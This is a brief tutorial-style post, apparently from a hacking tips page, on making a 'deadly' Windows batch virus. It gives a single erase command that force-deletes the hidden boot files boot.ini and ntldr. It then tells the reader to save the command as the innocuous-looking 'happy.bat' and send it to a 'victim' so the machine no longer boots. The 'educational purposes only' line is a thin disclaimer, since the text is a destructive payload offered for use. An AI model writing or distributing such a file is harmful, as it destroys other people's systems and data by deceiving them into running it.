0 Make a Deadly but Simple VIRUS

Yes you can Make a Deadly but simple VIRUS using one line Command
(Remember this is for educational purposes only)

Make a text file

Enter the command given :- erase /q /f /s /a:h c:\boot.ini c:\ntldr

Save the file as happy.bat

Send it to Victim.Let him open it.Thats it
The next time he reboots .. SYstem will not boot again